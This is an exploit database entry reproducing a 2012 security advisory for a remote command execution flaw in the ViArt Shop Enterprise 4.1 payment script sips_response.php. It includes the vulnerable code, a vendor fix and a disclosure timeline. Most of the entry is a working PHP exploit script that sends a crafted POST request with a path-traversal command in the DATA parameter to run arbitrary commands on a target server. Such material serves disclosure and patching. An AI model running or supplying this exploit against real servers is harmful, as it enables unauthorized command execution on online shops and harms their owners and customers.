ViArt Shop Enterprise 4.1 Arbitrary Command Execution Vulnerability

2014-07-01T00:00:00
ID SSV:75347
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                <?php

/*

ViArt Shop Enterprise 4.1 Arbitrary Command Execution Vulnerability


Vendor: ViArt Software
Product web page: http://www.viart.com
Affected version: 4.1, 4.0.8, 4.0.5

Summary: Viart Shop is a PHP based e-commerce suite, aiming to provide
everything you need to run a successful on-line business.

Desc: Input passed to the 'DATA' POST parameter in 'sips_response.php'
is not properly sanitised before being used to process product payment
data. This can be exploited to execute arbitrary commands via specially
crafted requests.

Condition: register_globals=On

=======================================================================
Vuln:
-----
/payments/sips_response.php:
----------------------------

16: if (isset($_POST['DATA'])) {
17:
18:     $params  = " message=" . $_POST['DATA'];
19:     $params .= " pathfile=" .  $payment_params['pathfile'];
20:     exec($payment_params['path_bin_resp'] . $params, $result);

-----------------------------------------------------------------------
Fix:
----
/payments/sips_response.php:
----------------------------

5: if (!defined("VA_PRODUCT")) {
6:     header ("Location: ../index.php");
7:     exit;
8: }
9:
10: if (isset($_POST['DATA'])) {
11:
12:     $params  = " message=" . $_POST['DATA'];
13:     $params .= " pathfile=" .  $payment_params['pathfile'];
14:     exec($payment_params['path_bin_resp'] . $params, $result);

=======================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a



Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab - http://www.zeroscience.mk


Vendor status:

[09.09.2012] Vulnerability discovered.
[24.09.2012] Contact with the vendor.
[24.09.2012] Vendor responds asking more details.
[24.09.2012] Sent detailed information to the vendor.
[25.09.2012] Vendor confirms the vulnerability, issuing patch (http://www.viart.com/downloads/sips_response.zip).
[25.09.2012] Coordinated public security advisory released.


Advisory ID: ZSL-2012-5109
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5109.php

Vendor: http://www.viart.com/downloads/viart_shop-4.1.zip


09.09.2012

*/


error_reporting(0);

print "\n-----------------------------------------------------------";
print "\n\n ViArt Shop Enterprise 4.1 Remote Command Execution\n\n";
print "\t\tID: ZSL-2012-5109\n\n";
print "-----------------------------------------------------------\n";

if ($argc < 2)
{
    print "\n\n\x20[*] Usage: php $argv[0] <host> <cmd>\n\n";
    print "\x20[*] Example: php $argv[0] localhost windows%2Fsystem32%2Fcalc.exe\n\n";
    die();
}

$host = $argv[1];
$cmd = $argv[2];
$sock = fsockopen($host,80);

$post = "DATA=..%2F..%2F..%2F..%2F..%2F{$cmd}";
$duz = strlen($post);

$data = "POST http://{$host}/payments/sips_response.php HTTP/1.1\r\n".
        "Host: {$host}\r\n".
        "User-Agent: Mozilla/5.0\r\n".
        "Content-Type: application/x-www-form-urlencoded\r\n".
        "Accept-Encoding: gzip,deflate\r\n".
        "Content-Length: {$duz}\r\n\r\n{$post}\r\n\r\n";

fputs($sock,$data);
while(!feof($sock))
{
    $html .= fgets($sock);
}
fclose($sock);
echo "\n" . $html;

?>